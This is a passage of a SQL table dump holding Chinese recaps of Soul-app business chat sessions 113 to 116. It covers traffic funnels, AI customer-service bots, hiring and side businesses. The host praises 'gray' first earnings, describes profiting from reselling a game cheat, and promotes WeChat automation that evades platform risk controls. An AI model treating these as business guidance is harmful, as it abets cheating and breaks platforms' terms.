'2026每日派对干货', '第113场|不会选择怎么办?', '# 第113场|不会选择怎么办?\n\n\n人最怕的不是没得选,是有的选。\n\n\n选 A 还是选 B,哪条才是最优解,想破头不如先动一条。\n\n\n2026 年 3 月 2 日,上午 6:24。\n\n\n第 113 场,163 分钟;\n\n场观 34290,进房 430 人。\n\n\n---\n\n\n一上来就炸房。\n\n\n系统把房间推到别处去了,标题多打了两个「私域」就炸,大家重新进。\n\n\n有人问:你说要赋能 10 个人,什么样条件的人?\n\n\n随缘,现在没定条件。\n\n\n就是先提一嘴,看大家怎么接。\n\n\n2 号说:我想被你赋能,怎么办?\n\n\n你得先有个项目,项目尽量白一点、别太灰;\n\n把你做的事用人话讲清楚,房主会帮你整理成别人能看懂、能链接、能合作的样子,直接丢到小程序里。\n\n\n小程序日活还可以,Soul 创业派对那块,现在多了超级个体板块。\n\n\n每天把派对内容整理成一节一节,最赚钱的一个月、四十几个人的视角,一块钱一节,想看的人自己点。\n\n\n你如果做过「最赚钱的一个月」分享,或者项目被写进文章,别人分发出去就会看到你,有人会来链接。\n\n\n房主撮合这事,收个会员费,导客资、导流量给能跑通的人。\n\n\n现在几十个分销团队,收费很低,后面能怎样再说,先让管理他们跑起来。\n\n\n先有项目,再谈赋能;\n\n项目能讲清楚、有人感兴趣,现场 5~10 分钟就能聊明白,现场拉群就开干。\n\n\n---\n\n\n2 号说:我在琢磨个人 IP,打算辞职,有两个方向。\n\n\n一个是小红书,30~55 岁女性,身心灵、疗愈那种,承载她们「刚开始活明白、想要更好生活」的情绪。\n\n\n另一个是读书赛道,一天能保证 3 小时左右,100 场跟你这种类似,看数据、引私域、知识付费、线上读书会、线下读书会,再嫁接育儿、家庭辅导师,客单价高,能见面更好。\n\n\n先开始再说,很多事你一做脑子就清楚了。\n\n\n已经开了 113 场,每月流量比较稳:三个月下来,每月大概 60 万到 100 万曝光,触达 1 万到 2 万人进派对。\n\n\n线下要见的话,一个月见 20 个人很正常,前 50 场见了三十几个人。\n\n\n流量起来了,才敢说赋能——能导流、能撮合生意,才有人愿意跟你绑一起。\n\n\n做 IP 最吃两样:影响力和能协作的人。\n\n\n线下招人快,但贵。\n\n\n房主 19 年底组过团队,筛了三十几个人,最后 5 个人,拍剪、分发、接待、写稿、对接老板,全发工资。\n\n\n厦门工资低,一人 5000~8000,一个月 2 万到 3 万支出。\n\n\n线下你知道谁靠谱,天天在眼前。\n\n\n线上难多了:沟通成本大,合伙制大家看不到预期;\n\n想找执行的人,多半要「给多少钱干多少活」,而线上很多是想得多、做得少的,人人想做 IP、做内容,不执行。\n\n\n线下 30 个人发工资筛出 5 个,线上你得筛一两百个才出三五个人,还不发工资、用分润,更难。\n\n\n2 号说:我想找一个能推动我的人,不是给他钱,是他觉得我能做起来、他也有回报,才愿意推。\n\n\n叫他律,可以搞,但难。\n\n\n以前身体不好,在观音山搞过老板跑队,早上 5 点跑步,一天没来扣 99 块发红包。\n\n\n跑了 7 天,大降温,没人来了,三天不来就散了。\n\n\n他律有他律的难处,最后还是得靠自己,再加点运气——先开,先动,才有后面。\n\n\n闭环跑通之前,先干再说;\n\n先动一条,再调。\n\n\n---\n\n\nSoul 导流到私域,场上测过一轮:广点通出来之后,导流到一个微信大概 20~50 块,创业粉粘性强。\n\n\n正常这类粉要到 100 多,内容做得还行,成本就压下来了。\n\n\n算一笔账:10 个人按 20 块算,200 块;\n\n能转化 1000 来块,链路就通,大家能分到钱,才愿意继续推。\n\n\n现在已经在拓第二条线:有些人开派对,但没后端变现。\n\n\n房主就提供一个产品——一块钱一节内容、会员、后端变现、资源对接,内容、产品、人工都由房主出;\n\n对方只管开派对、聊聊天,导流到 APP,30 天捆绑,收益跟他有关。\n\n\n对方就开派对,后端房主做完,大家都有变现路径。\n\n\n不止是帮房主,也是帮派对里分享的老板们导流、赋能。\n\n\n切片的人多了,规模慢慢起来;\n\n资源群免费,副业、做切片的找 4 号,会员群也找 4 号。\n\n\n6 点到 9 点,快速链接,项目靠谱、闭环跑通了,可以进资源群。\n\n\n---\n\n\n有人提到知识星球。\n\n\n知识星球就是个载体,轻付费、轻交付,几百块一年,把人聚起来看内容、做互动。\n\n\n小程序不一样:把好项目整理好放进小程序,结合 AI 匹配,谁对谁的项目感兴趣,点一下名字,AI 会加好友、拉群。\n\n\n小程序叫「卡若创业派对」,搜就有——本来想叫 Soul 创业派对,Soul 不给,怕品牌侵权下架,就改成了房主名字。\n\n\n上线一个多礼拜,两个礼拜不到,公司的人现开发的。\n\n\n先干再说,不干不知道;\n\n前端做简单,大家动动手发文章,就可能挣几百甚至几万,看发的群体和需求。\n\n\nSoul 现在精选派对都上首页了,主打派对,腾讯入股之后往 KOL、KOC 圈人、做停留,调了三四年了,上面有大机会。\n\n\n---\n\n\n3 号在古北做内容电商,自己也当房主,聊 3D 打印。\n\n\n同学是厂商,做 3D 打印设备;\n\n手头有桂花主题馆,要做文创,用 3D 打印做文旅产品——比如桂花树,树干是真的,叶子花用 3D 打;\n\n还有乌鸡、嫦娥兔子这类萌宠 IP,带桂花,用 AI 让它动起来。\n\n\n要招能绘图的人,绘图这部分先花钱,后面做一整套 UI 给客户;\n\n已经有个搭档,做交付的,有设备——拓足、UV 3D、激光、切割、车床都有,还能进学校做第三课堂。\n\n\n两天就找到搭档,彼此对得上,他负责动手,3 号自己负责动嘴、卖课和打包。\n\n\n房主问:你缺啥?\n\n产品有了,市场在做,还缺什么?\n\n\n3 号说,缺执行强的人;\n\n线下管人、培训人很强,半天能培训一个人,情景模拟销售,能扛住提问就算过;\n\n线上不知道进度怎么约束。\n\n\n线上找纯执行的很难,你约束不了。\n\n\n先做闭环,看到流水再聊分钱——成交一单分多少,先打样;\n\n开派对也可以直接讲你的方法,线上可行就让他们按你的来,拿到结果人自然多。\n\n\n3 号说,像劳务派遣,绘图我给钱你画完;\n\n但以后会有多场景、多宠物的交互,可能接近游戏公司或动画公司,需要很多人才。\n\n\n你先跑通一两条线,网吧或商场都行。\n\n\n网吧的话:送电影服务器、桌面做个工具,有人点就分成——05 年干过,当时优酷还没出,网络差,厦门国贸三楼搞了中央电影服务器,底下网吧送服务器,桌面用 ASP 写了个类似优酷的看片工具。\n\n\n《满城尽带黄金甲》一上,一天后台两三万流水;\n\n厦门当时 70 家左右网吧,基本都铺了。\n\n\n前提是之前已经拿了网吧桌面广告位:鼠标键盘耳机包了,成本 200 多一个网吧,网吧自己买要一千多,等于 200 多包了几十到几百台电脑的桌面,信任有了,送服务器才顺。\n\n\n后来上海一个姓廖的投资人投了钱买硬件,直接铺网吧;\n\n优酷出来、网好了,项目就黄了,小亏。\n\n\n3D 打印你要是铺网吧或商场,要么送设备占位置,要么租金加分红;\n\n商场谈「设备拖过去、帮你做呈现」,一天不少于 1000 块也有人干。\n\n\n先打样板:一天 1000,一个月 3 万,分你 1 万 5,你愿不愿意投设备?\n\n看到流水再谈分工。\n\n\n设备是创想的,可以找创想要资源;\n\n总设备钱得有人出,你才有量,第三方掏钱卡点就多。\n\n\n---\n\n\n有人问怎么进群。\n\n\n搜小程序,里面都是文章;\n\n每天会把大家分享的内容写成小节,生意逻辑、需要什么,上面都有。\n\n\n有小小一点规模才会写进去,不会每场都写,有时稍微提一下。\n\n\n生财有术跟这种模式有点像,霸榜很多年;\n\n会费 1000 块,进圈子,资源怎么匹配、怎么约,各凭本事。\n\n\n有人说是广东人,在商会做志愿者很多年,端茶送水、混脸熟;\n\n以前在武汉卖手机、回收、修手机,晚上下班去商会混,慢慢很多人找他,会费 1000 一个月就回本。\n\n\n圈子就是这样,先交费进圈,再谈匹配。\n\n\n生财有术体量大,很多人分享项目,但项目要人能执行——人从哪来、专业的人从哪来、资金够不够,都得自己想;\n\n纯看项目只能略知一二,执行才是大头。\n\n\n---\n\n\n后面聊到房地产。\n\n\n7 号说,14 亿房产、13 亿人,不看好;\n\n除了主流城市、核心城市吸虹还有一点空间,其他都没爬升空间了,下行是必然,政策小拉升而已。\n\n\n大项目跟普通人关系不大,但跟你有关系的小机会可以参与。\n\n\n国家队进来收房,就有量,有量就有交易,有一小波拉升;\n\n手上有房、等着卖的这一波就赶紧出。\n\n\n炒房的人拿的价和普通人拿的价不一样;\n\n能得利的、跟自己相关的就动,不行就扛着,算好每月利息和杠杆成本。\n\n\n场上也有人在做收不良资产、个人资产膨胀,拿钱、房票、政策、批量尾房折上折,拿房成本低,抗风险。\n\n\n行业都一样,拼谁有想象力、谁能坚持、谁钱袋子扛得住;\n\n条件不成熟就不动,钱放着吃利息,等条件齐了再动。\n\n\n多学科组合、五行八卦那种,福建广东很信;\n\n有个做智能空间的大神,纯分享,线下聊聊天,人家找他咨询一次 40 万。\n\n\n先闭环,再分钱;\n\n等条件够了再动,不迟。\n\n\n---\n\n\n今天 173 分钟。\n\n\n赋能 10 个人随缘,先有项目、讲清楚、能链接再说;\n\n小程序超级个体、资源群、加入vip会员群都在,做切片的、做副业的找 4 号。\n\n\nSoul 每月 60 万~100 万曝光、1 万~2 万人进派对,导流 20~50 块一个微信,10 个人 200 块能转化 1000 来块链路就通;\n\n开派对没后端的,房主给产品给后端,30 天捆绑一起分。\n\n\n做 IP 线下招人快、贵,线上筛一两百才出三五执行的;\n\n他律可以试,但难持久,最后还是自己加运气。\n\n\n3D 打印、网吧、商场,先打样板见流水再谈分工;\n\n05 年网吧电影服务器也是先拿桌面、再送服务器,满城尽带黄金甲一天两三万。\n\n\n房地产下行,小机会跟自己相关的可以参与,看不懂就别碰;\n\n收不良、房票、尾房折上折,等条件成熟再动。\n\n\n这个夏天,一定会有人接到果。\n\n\n先闭环,再分钱;\n\n条件齐了再动,不着急。', 3672, 0, 1.00, 73, 'published', '2026-03-03 05:36:07.000', '2026-03-10 06:25:50.289', 0, 0, 0, 4.20, NULL, NULL); -INSERT INTO `chapters` VALUES (205, '10.11', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第114场|人跟人差别,以前没 AI 差 100 倍,有 AI 差 1 万倍。', '人跟人差别,以前没 AI 差 100 倍,有 AI 差 1 万倍。\n\n\n你还在纠结菜叶有没有虫眼,别人已经让 AI 写报表了。\n\n\n2026 年 3 月 3 日,上午 6:33。\n\n\n第 114 场,163 分钟;\n\n场观 42360,进房 445 人。\n\n\n---\n\n\n我开派对,核心很简单:六点到九点没事,早上精神,找人聊聊天。\n\n\n以前一个人散步,走到公司;\n\n\n去公司也无聊,不如在派对里跟几百个人过一遍话题。\n\n\n今天有人问:你们做电竞还招人吗?\n\n\n招。\n\n\n能力过关、有私域操盘手经验、有 Macbook、AI 每个月消耗超过 1000 块的,我们发工资,1 万到 2 万 5 之间,看能力。\n\n\n厦门。\n\n\n用的越多我们越开心;\n\n\n你用三个月和用一年水平不一样,一个月连 1000 块都耗不到,要么没在干活,要么时间都耗在找免费工具上了。\n\n\n2 号问:AI 除了剪视频,私域还有什么工具?\n\n\n后端比前端重要。\n\n\n你打好知识库,有人加到你微信,接在数字员工底下,让他维护客户、看朋友圈、点赞评论、发有温度的话,有意向再真人介入,人效就高。\n\n\n前端工具太多太杂,不一定好用。\n\n\n我在 Soul 上也有导流,全程公开,你进小程序就知道——卡若创业派对,搜一下,点一下名字,AI 会来加你、打招呼、发信息。\n\n\n上线两个礼拜,日活几千,效果还可以。\n\n\n3 号说:我最大问题是前端,以前一天能来上千上万个客户,现在 100 万播放量才几十个。\n\n\n那就把视频做到极致。\n\n\n以前一天一个,现在用 AI 一天 10 个、100 个,一样是怼量。\n\n\n抖音能让你上就上,不像 Soul 发视频还删你。\n\n\n分发可以找别人发。\n\n\n手头 43 个人跟着发瞬间,我剪好他们发,发就有钱,有客资也给钱,卖会员也给钱,一个普通宝妈平均一个月 800 到 5000。\n\n\n你发一个动作就有收益,跟你捆绑 30 天,有人付款都跟你有关系。\n\n\n内容我出,流量我导,他们只做一个动作:发视频。\n\n\n有人问:网上很多东西是不是假的?\n\n\n99% 是假的,1% 是真的。\n\n\n你要自己去识别;\n\n\n不识别,生意没法做。\n\n\n互联网没成本,线下有——你公司在那儿,骗一次试试,越大的公司风险越大。\n\n\n线下违约成本高,线上瞎扯容易,所以更要靠你自己分辨。\n\n\n觉得假的就笑一笑走,不用链接;\n\n\n觉得真的、能做,就做,做了就别怀疑。\n\n\n易经讲的就是:先收集信息,多到过载,再分辨、辩证,在自己认知内确定的事,就去干。\n\n\n判断不够就换圈子,最简单的办法就是换圈子。\n\n\n世界上谁带你挣钱?\n\n\n没人带。\n\n\n挣钱你要付出努力;\n\n\n分辨清楚,愿意合作就来我往,不愿意就再找。\n\n\n挣 100 块你开心,你就是挣钱的;\n\n\n挣一个亿你不开心,你也是不挣钱的。\n\n\n看你的欲望和生存环境。\n\n\n你既然决定了,就坚定地去做;\n\n\n别让 10 个领 3000 块工资的人跟你说不能做,你就不做了。\n\n\n---\n\n\n场上有人聊招人、聊私域、聊真假,也有人聊具体生意。\n\n\n南风做文玩核桃,私域电商,客单价 1000 到大几千过万,不是直播间十块八块那种。\n\n\n面视、六面图、原视频、自然光、尺寸、克重都上,不满意付个邮费寄回,确定要了有打底、锦盒、终身包退。\n\n\n一天发 10 个左右视频,每个曝光 500 到 1000,一天加微信多的时候 10 个左右,少的话五六个;\n\n\n一单 400 到 500,不打折能到 800、900。\n\n\n前两天没人打扰,头一天一单 400,第二天一单 500,以量取胜,投入多得到就多。\n\n\n他之前招代理被封号,三个号全没了,好友、朋友圈、瞬间都被清空。\n\n\n平台有风控,我们现在才把引流路径优化好,不让你做容易被风控的事;\n\n\n他是在被打死之后才知道要优化。\n\n\n要说数据,就得自己记:一天多少曝光、加几个微信、一周成交几单、一单赚多少。\n\n\n比如一天 1 万曝光加 10 个微信,一周加 50 个成交 1 单、赚 1000,那一个加过来的人成本就是 20 块,你才能量化努力和回报。\n\n\n5 号分享怎么招人、怎么问对的问题。\n\n\n他在鄂州园博园 7 天卖 2 万桂花糕,请了三个大学生,其中一个是他问志愿者「有没有同学愿意兼职」,前两个说没有,第三个想了半天说「你觉得我怎么样」——有勇气。\n\n\n我当场情景模拟:我当顾客为难你,你顶得住就第二天来上班。\n\n\n不是要标准答案,是要看你能不能顶住连续提问。\n\n\n行业积累、常识储备、对人观察,问对问题就能在短时间里判断一个人合不合适。\n\n\n尊重人、情绪稳定、好好说话、找一项运动坚持、保持好奇,这些听起来简单,做得到的人不多。\n\n\n一人公司、AI 创业,最怕一个人闷头搞;\n\n\n一定要接触人,不然走不远。\n\n\n---\n\n\n6 号做长白山野生食品出口、支付平台、IDC 监控,三个板块;\n\n\n7 号做毛巾生产,想扩客。\n\n\n毛巾利润薄,零售不现实,走 B 端找连锁、理发店、批发商,或者品牌采购,关系跟硬实力都要有。\n\n\n纯私域获客成本高,毛巾复购可以但客单价低,后端产品组合少,没有 IP 很难;\n\n\n要么学恒安搞直播间烧钱做 C 端,要么供应链+私域搭 AI 扫码加微、寄货即获客,但运营成本很重,私域人才 1 万 5 到 5 万,半年 100 万到 200 万烧出去,磨三个月半年才出结果。\n\n\n我最后说了几句。\n\n\n我们派对每个月一两万人进来,我天天在表达,你觉得我会缺客户、缺流量、缺合作伙伴吗?\n\n\n不缺。\n\n\n我在上面找人、找钱、找资源,找了好多,不开玩笑,每天都在做。\n\n\n你把项目讲清楚,目标人群、价格、交付说清楚,有人感兴趣就链接;\n\n\n讲不清楚,没人帮你整理,你找别人整理也没人理。\n\n\n我每天都有小结,切片团队几十个人在做分发,我给他们钱,他们发完你的项目有人知道、有人来链接,你在内容里点一下名字,AI 自己去加对你感兴趣的人——这就是赋能。\n\n\n开派对我亏钱在做。\n\n\n李无聊来公司,我给他买了 17 万的服务器;\n\n\n那么多人在公司喝水、聊天,都是成本。\n\n\n但我在派对认识的供应链级别不一样,全国性的。\n\n\n比如服务器,原来一年四十多万,在 Soul 认识一个给腾讯做供应链的,17 万搞定,省了二十几万。\n\n\n2 号管理卖昭通苹果,我都没听过,他送了我好几箱,我转送股东,好吃,后来一直买、送礼,股东说可以做成送礼套餐,我就跟 2 号说弄个价格、给销售分钱,生意就搭起来了。\n\n\n都是莫名其妙的链接。\n\n\n每天 400 到 600 个人在房里,你上去讲,等于每天开几百人的会;\n\n\n你去哪个展馆能跟 400 到 600 个人集中聊?\n\n\n没有。\n\n\n所以表达清楚、坚持表达,就不缺人和机会。\n\n\n先讲清楚,再谈合作;\n\n\n讲不清楚,连机会都没有。\n\n\n---\n\n\n今天 158 分钟,437 人进房,停留 8 分钟。\n\n\nSoul 广点通已经能投流了,ROI 算得过来就可以拉满;\n\n\n跟 17 年抖音太像,有起飞的机会。\n\n\nSoul 人群 15 到 25 岁占 78.3%,二次元、文创、AI、NFT 全是关键词。\n\n\n我们切片团队四十多个人,免费培训、免费教 AI、发视频还给钱;\n\n\n接下来 38 场,目标从 1 万人里赋能 10 个人,做成一人公司、超级个体,一起玩。\n\n\n做副业的联系 4 号;\n\n\n有项目、要进资源群或会员群的,私聊 2 号。\n\n\n派对里能解决的尽量派对里解决,私下交流浪费彼此时间。\n\n\n表达清楚,就不缺人;\n\n\n坚持表达,机会会自己找上来。', 7960, 0, 1.00, 74, 'published', '2026-03-04 11:13:13.000', '2026-03-10 06:36:32.531', 0, 0, 0, 6.00, NULL, NULL); -INSERT INTO `chapters` VALUES (206, '10.12', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第115场|一天改变,可控的事先做', '# 第115场|一天改变,可控的事先做\n\n\n事业再好,家庭这一环不能省。\n\n\n家和谐、有烟火气,人聚过来,钱才聚过来。\n\n\n2026 年 3 月 4 日,上午 6:38。\n\n\n第 115 场,156 分钟;\n\n场观 36974,进房 484 人。\n\n\n---\n\n\nSoul 推荐机制最近改了一轮。\n\n\n一开房只要有聊天,很容易就到 10 个人;\n\n\n以前新号要等 10 分钟、20 分钟才推人,现在限制放开了,直接推。\n\n\n6号怡然聊聊家庭和家族生意。\n\n\n有人住平房,一年两档口 8000 块,楼下 80 平、楼上住 400,和搭档一起;\n\n\n18 年底破产过一次,关店关过十几次,都是钱断了、家庭内耗,一吵就离家出走、去开店。\n\n\n我接话:找伴侣很重要;\n\n\n家里面和谐、有烟火气、能互相谦让、互相道歉,才容易聚人聚钱。\n\n\n道歉如果不是心甘情愿的,要双倍还回去,不然负能量会 2 到 10 倍还回来。\n\n\n风水不是玄的,两人关系好、身体好、厨房有烟火气,花都长得好,人跟钱才会聚过来。\n\n\n同一人说在做「桂花糕社交」:无差别送,想链接的人就送桂花糕和茶叶,每月成本 1 万多,年底送得更多,回了一点本还没完全回本;\n\n\n家里人说拿家里的钱做人情世故。\n\n\n送礼要前置,你带头送,送完还要时不时提醒对方,不能送完就等别人想起你;\n\n\n客人吃你嘴短,送糕点还会分享,比送烟只有一个人享受强。\n\n\n他们看不到你的价值,你走是对的;\n\n\n回来第一投两个月,一个景区店就做了 12 万营业额。\n\n\n家庭比事业重要;\n\n\n很多人搞着搞着忘了,生意好的时候觉得所有人该配合你,等你下滑或钱又出去,他们不这么认为。\n\n\n要么一直怂,要么一直雄起,一直雄起不太可能,所以先把家里稳住。\n\n\n一开始做任何事都非常孤独;\n\n\n脱离原来的圈子、从零开始,没钱的时候千万别想着借钱维持,借钱是在害人害己。\n\n\n房地产下行,谁还敢借;\n\n\n越往下越损人脉,自己走出来、从头开始更好。\n\n\n能把控的先做,不可控的少纠结。\n\n\n---\n\n\n一命二运三风水,四积阴德五读书,六名七相八敬神,九交贵人十养生。\n\n\n越往上越不可控,命运不可控;\n\n\n能控的是后面几条。\n\n\n第十养生能控,身体好、精神好,贵人才愿意跟你合作;\n\n\n敬神是信仰,内心有信仰别人更愿意合作;\n\n\n名是心理暗示,相是视觉锤——见面第一眼就是脸,气色好别人就愿意跟你做。\n\n\n把身体照顾好、家庭关系做好、有敬仰之心,前面几条才会顺;\n\n\n大家老练 1 到 5,其实 6 到 10 才是可控的。\n\n\n南风小程序里的介绍要填完整,不该显示的让远志他们处理;\n\n\n人家点一下有兴趣才能加到你微信。\n\n\n南风说数据:每天发十七八条、二十条,账号几天、一星期就开单,一单纯利润好几百,专注的话月入过万;\n\n\n5 点起来是因为 5 点才开始推流,精力分散就没那么理想。\n\n\n听话照做、选对赛道、坚持,群里筛过很多人,亲戚朋友看你挣钱只看到钱,真让他执行做不到。\n\n\n---\n\n\n5 号做本地生活、家电维保,想从直播转短视频,在找编导。\n\n\n同城看内容本身;\n\n\n没做过编导不太建议自己做,要么怼流量、要么走关键字搜索。\n\n\n编导和剪辑最好分开——编导是脑力活,想前三秒怎么抓、怎么拍、怎么配合;\n\n\n剪辑是手动活,想怎么剪得好看、SOP 怎么跑。\n\n\n好的编导不会给你剪,两个岗;\n\n\n日更成本高,编导加剪辑人工就出去了。\n\n\n5 号说在聊一个编导,保底 1 万,对赌两月达标 5 万。\n\n\n他要 30% 就做项目切割,比如你只有抖音一个板块,就切「抖音板块」给他 30%,不影响大盘;\n\n\n马云也不是给财务总监整个阿里,是给淘宝、天猫、支付宝几个板块。\n\n\n立个项、专门一块给他占比例,切割清楚就好。\n\n\n6 号做人力资源咨询,国资委、山东企业面试 50~60 人,教方法论、陪跑。\n\n\nAI 能结合——拍三张脸加简历,性格、MBTI、岗位匹配可以自动化,人事做不了 AI 能做;\n\n\n测完变成流量入口,测性格、顺便找工作,直接加到公司人事微信,比 Boss 高效。\n\n\n我们公司自己开发的,拍三张脸就知道适不适合,再对岗位;\n\n\n组 8 个人可能要筛 30 到 40 人,有这一套筛 10 个 20 个就够,损耗少一半,省一二十万。\n\n\n个人定位做一次 2 万多,公司付,做完知道这个人大概多久会离开、跟岗位匹不匹配。\n\n\n他们内部孵化了独立项目,线下沙龙获客,帮企业搞简历、性格、人岗匹配;\n\n\n找 ENTJ、ENFP、ESTP 这类人去拓市场就行。\n\n\n---\n\n\n5 号麦先生做城市礼物,联系了几家商会,潮汕、成都、珠三角、武汉,做礼品袋定制、印刷要在仓库旁边;\n\n\n鄂州园博园 7 天卖 2 万多,顺丰机场有可能成中部小义乌,政府在谈运营、拿流量换位置。\n\n\n你动作做太多了,木木的小技工也是做甜品、好几家店,你俩可以私聊;\n\n\n我只介绍业务、不挣这个钱,有信息消化掉就行。\n\n\n9 号问:网红要把他的人放进我私域,把流量导走,怎么办?\n\n\n你看中他什么?\n\n\n他看中你什么?\n\n\n你有客户、他能把流量变现,就两种——产品合作或流量合作。\n\n\n产品合作:他提供产品,你运营、你维护,流量握在自己手上。\n\n\n流量合作:你把流量给他,他运维,签协议分钱,最后一定被他拿走,但你挣到你那份。\n\n\n不想被导走就产品合作,让他找人教你、你边做边看,后面你自己维护,不要让他的人维护。\n\n\n招商为什么难做?\n\n\n拉完皮条就没了;\n\n\n用户到你手上,自己做运维、做服务,今年更偏这个方向。\n\n\n江左做私域 AI 员工:RPA 控电脑、加好友、群发、朋友圈、AI 评论发圈、防折叠、智能回复、分时建群,用豆包,数百到千把、全功能千把,代理几百、用户十几万。\n\n\n个微风控和矩阵要解决;\n\n\n公司化一个员工控四五台电脑、一台电脑五个微信,客户重要,你们找做私域渠道的合作会快。\n\n\n---\n\n\nSoul 给的流量又翻了二三十。\n\n\n开派对这条线可以弄个 SOP,告诉想开的人怎么开派对挣钱:后端产品已经有了,前面就是引流到小程序、捆绑 30 天,或者加自己微信自己拉群,一天三五个很正常,会累积。\n\n\n派对里能解决的尽量派对里解决;\n\n\n做副业联系 4 号,进资源群、会员群联系 2 号 3 号 4 号,备注来意。\n\n\n发广告没人看,不如上麦分享。\n\n\n家庭先于事业;\n\n\n能把控的从养生、从关系、从名字和面相做起,再谈命运。', 2309, 0, 1.00, 75, 'published', '2026-03-05 11:02:44.000', '2026-03-10 06:25:50.312', 0, 0, 0, 2.70, NULL, NULL); -INSERT INTO `chapters` VALUES (207, '10.13', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第116场|钱是大风刮来的,怎么抓住?', '# 第116场|钱是大风刮来的,如何接住\n\n\n真正赚钱的,别人为什么要拿出来分享?\n\n\n有些连说都不能说。\n\n\n你看到的明面生意,坐下来算数据,很多根本不挣钱;\n\n\n挣钱的在别处。\n\n\n2026 年 3 月 5 日,上午 6:25。\n\n\n第 116 场,154 分钟;\n\n进房 418 人。\n\n\n---\n\n\n有人问量化交易、AI 能不能帮着挣钱。\n\n\n量化本质上是策略厉害,多因子轮动、你的经验厉害,不是 AI 厉害;\n\n\nAI 只是帮你执行、方便理解。\n\n\n懂的自然懂,不挣钱的用也没用,源码都公开了。\n\n\n没 100 万别跑,基础 100 万都没有,手续费都跑不赢。\n\n\n炒了快 20 年,这东西作用不大;\n\n\n想靠自动交易发财,不可能。\n\n\n很多程序员幻想搞个量化工具就能挣钱,不是的。\n\n\n策略和灵魂才重要,工具只是加速。\n\n\n---\n\n\n我炒大 A 很少碰,一年花不了两三个小时;\n\n\n买外汇玩一玩,伊朗的跌多了就买 10 万块,博个输赢,跟当年买特朗普币一样,有就有没有就算。\n\n\n昨天场上有人做家电维修、桂花糕、人力资源、私域操盘、AI 数字员工,一个板块下面很多细分。\n\n\n人力资源也一样:有高端猎头挖连锁门店运营总、年薪 60 万跳槽变 100 万;\n\n\n有人事邀约一天用 AI 邀约 50 个 100 个、一个 10 块;\n\n\n有高级人才鉴定,测你多久会离职、跟岗位匹不匹配。\n\n\n3 号做猎头,问能不能用 AI 筛简历——应届生加 AI 可以筛,但高端岗位要深挖一个人脑子里想什么,不然叫过来也没用。\n\n\n大厂出来的,我用过好几个阿里新浪抖音百度;\n\n\n除非想裁员,比如 30 人团队想减掉七八个,找一个大厂的人来,大家不适应就会走,前两年就这么干过。\n\n\n不成熟的团队丢一个 ESTJ 进去,也容易散。\n\n\n6 号问灰的。\n\n\n第一桶金很多人是灰的;\n\n\n慢慢再转正。\n\n\n桂花糕、连锁门店利润很薄,要让利、赋能大、成本重,后端没别的东西就挣不到。\n\n\n我自己也赚过灰的:07 年做电竞,11 年拿德国兄弟的魔兽外挂代理,很多人不会英文不会德语,用谷歌翻译一点点聊。\n\n\n进价 18 块,卖 68 一块,工作室 50 台 100 台机子,月费 6000 到 1 万续费;\n\n\n拉了个群全是工作室和想做工作室的人。\n\n\n那一年 400 多万流水,利润 70% 以上。\n\n\n后来暴雪告了作者,作者不做了;\n\n\n年卡终身卡还能用,等于 0 成本又卖了一年,又赚了一倍。\n\n\n灰的赚过就赚过,现在法律完善了,17 年网易告过,360 多万,18 万摆平。\n\n\n本质是渠道生意、做得早、又稀缺;\n\n\n现在卷、更新快、工作室挣不到钱,卖工具的人也难。\n\n\n场上有人说 Soul、讯飞输入法算不算灰——贩卖个人信息、打字就进抖音流量池推精准视频,本质也是灰的,只是藏得深。\n\n\n欢鹿电竞开网吧,挣的不是加盟费,3 个点覆盖不了成本;\n\n\n挣的是云机的钱、算力补贴。\n\n\n谷子店 Green Party 那种,22 年从湖南湖北来厦门开 4 家 5 家,现在到处开,15 到 25 岁年轻人、IP 动漫,净利润率比商场平均高很多,能做到五六十;\n\n\n品牌线下很多是赚吆喝。\n\n\n今年不适合扩张;\n\n\n更多是赋能、超级个体、阿米巴,让优秀的人自己担一部分成本拿更高分成。\n\n\n---\n\n\n咨询行业下滑,企业没钱了;\n\n\n有钱的做细节做实效,没到请咨询那一步。\n\n\n查信息太容易,GPT 一搜就有。\n\n\n但专业的人加精准经验、加资源,还是有用的。\n\n\n有个北京的大神给我做规划定位,股东付了 10 万,聊两小时很受益;\n\n\n有用,但价格高。\n\n\n4 号做职业规划,六七千一单,北上广深客户;\n\n\n一次一两个小时,后续微信交流。\n\n\n从价值看,不少人薪酬能提升 15% 到 20%;\n\n\n有的转行成功,有的掉坑,看人、看执行力、看运气。\n\n\n深圳共享人才、杭州好做;\n\n\n厦门人才洼地,适合养老。\n\n\n北京不少脑子想的是搞点钱就跑,骗投资人;\n\n\n火云邪神卖鞋 29 块 9、成本 70,圈了一两亿,鞋厂亏五六亿、几千人失业,定性诈骗进去了。\n\n\n投资环境不好,我只投内部孵化、知根知底、有确定性数据的;\n\n\n对外一分钱不投。\n\n\n老婆被戏称鼓浪屿包租婆、投资失败率百分百,INFJ 共情一打钱就遇跑路;\n\n\n但也有一次 13 年 14 年给一个刚离婚的朋友 2 万、房子给他住,那人记到现在,去年发家了,追了 12 年一起成立金融公司,直接起飞——所以有些看起来是坑,以后也不是坑。\n\n\n家庭的事:一命二运三风水,四积阴德五读书,六名七相八敬神,九交贵人十养生。\n\n\n第十是养生,身体和身边人好了才能遇贵人;\n\n\n能把控的就是身体、家庭和睦。\n\n\n起势的时候家里花开了、厨房有烟火气、两个人互相谦让、有矛盾立即认错。\n\n\n一辈子分母足够大,分子就那样,拉平就没事。\n\n\n储蓄罐多装美好,矛盾大的时候拿出来消费一下。\n\n\n4 号 23 年进 ICU,五病齐发,差点没了;\n\n\n之后整个人变了,特别在意饮食健康、家庭底层。\n\n\n选伴侣是人生最重要的事,比赚钱比事业都重要;\n\n\n女人是家庭最好的风水。\n\n\n---\n\n\nSoul 上开派对,流量很好;\n\n\n肯开的人按 123 步骤执行、有点内容,很容易拿到一两万人。\n\n\n我都公开,新号也能搞四五百人,方法论 12345 照着做就行。\n\n\n一两百人总能吧?\n\n\n一个月就几千人,做啥生意不能做。\n\n\n地摊平台:SM、厚朴 2000 多摊,和小伙伴一起,海辰储能投了;\n\n\n熬了 7 年亏了 5 年,翔安房子都抵押过。\n\n\n做的是摊位出租、餐车租给摊主,ZF 给地、解决就业;\n\n\nSM 地铁口 900 块、一天人流 3 万要摇号,夜市 2000 到 6000。\n\n\n软二科创园想过做夜市、9 块 9 直播卖饭碾压美团二三十块,成本压到极致。\n\n\n5 号做环保规划、ESG、科技项目申报,问 AI 